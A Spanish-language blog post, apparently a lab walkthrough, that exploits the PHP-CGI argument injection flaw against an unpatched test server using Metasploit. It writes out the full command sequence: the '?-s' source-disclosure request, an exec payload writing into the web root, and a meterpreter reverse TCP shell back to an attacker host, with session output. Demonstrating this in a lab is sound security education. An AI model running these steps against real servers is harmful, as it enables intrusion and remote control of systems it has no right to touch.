El viernes pasado se montó un rebumbio muy grande por todo internet cuando un fallo en
php, concretamente en el módulo
CGI permitía ver el código fuente de una página y permitir ejecución de código remoto. En este
blog, como en muchos otros se notificó de ello. Hoy, ya con un fin de semana de por medio para poder probar el módulo que la gente de
metasploit sacó para explotar dicha vulnerabilidad, os persento los resultados. Realmente son bastante sorprendentes y quedan muy visto lo sencillo que es.
Primero creamos un entorno de pruebas con un apache + php_cgi vulnerable. En debian, empleando los parches de seguridad ya está parcheado, así que montamos una máquina sin parches de seguridad. Como la prueba es muy simple, únicamente necesitamos un pequeño código php. Qué mejor que un phpinfo ;-)
Tras tener la máquina montada, accedemos a un php de prueba, http://192.168.1.45/info.php.
Nos muestra la típica página de información. Ahora comprobamos qué sucede al acceder a http://192.168.1.45/info.php?-s. El resultado, el código fuente del php.
<?php
phpinfo();
?>
Es hora de intentar explotar la vulnerabilidad en condiciones. Así que, comencemos.
shell> msfconsole
Primero buscamos un exploit que permita aprovechar dicha vulnerabilidad. Por defecto mi sistema se actualiza en cada arranque, así que ya lo tengo. En caso de que no lo tengáis, simplemente actualizar vuestros exploit's disponibles.
msf> search php_cgi
Matching Modules
================
Name Disclosure Date Rank
---- --------------- ----
exploit/multi/http/php_cgi_arg_injection 2012-05-03 excellent
Pues vamos allá. Cargamos el exploit y le indicamos los datos de la víctima.
msf> use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection)> set RHOST 192.168.1.45
msf exploit(php_cgi_arg_injection)> set TARGETURI /info.php
Ahora tenemos que buscar un payload que cargar tras la explotación. Puesto que sólo es una prueba, vamos a realizar algo muy simple. Primero... vamos a ver qué payloads nos interesa.
msf exploit(php_cgi_arg_injection)> show payloads
Compatible Payloads
===================
Name Rank Description
---- ---- -----------
php/exec normal PHP Execute Command
php/meterpreter/reverse_tcp normal PHP Meterpreter, PHP Reverse TCP stager
Los dos que destacamos son los que vamos a emplear. El primer, muy simple, permite ejecutar un comando desde php y el segundo, pues el propio nombre lo indica ;-)
Cargamos por lo tanto el payload y lo configuramos.
msf exploit(php_cgi_arg_injection)> set PAYLOAD php/exec
msf exploit(php_cgi_arg_injection)> set CMD echo 'hack\>/var/www/hack.html
Lanzamos el exploit y comprobamos qué sucede al acceder al http://192.168.1.45/hack.html. Efectivamente, el contenido del archivo es el esperado. Imaginémonos ahora que ejecutamos un cat /etc/passwd, por ejemplo.
msf exploit(php_cgi_arg_injection)> exploit
Probemos ahora a emplear el otro payload, que nos puede dar más juego, ya que abrirá una conexión meterpreter con la máquina remota. Lo cargamos y configuramos.
msf exploit(php_cgi_arg_injection)> set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(php_cgi_arg_injection)> set LHOST 192.168.1.33
Ahora lo lazamos contra la misma web vulnerable y esto es lo que obtenemos.
msf exploit(php_cgi_arg_injection)> exploit
[*] Started reverse handler on 192.168.1.33:4444
[*] Sending stage (38791 bytes) to 192.168.1.33
[*] Meterpreter session 2 opened (192.168.1.33:4444 -> 192.168.1.45:4732)..
meterpreter> getuid
Server username: www-data (33)
El meterpreter de php es limitado, pero sí permite hacer alguna que otra cosa interesante, como subida de ficheros o cambios de puertos y por defecto, tenemos los permisos del usuario www-data/apache o aquel usuario que ejecute el php-cgi.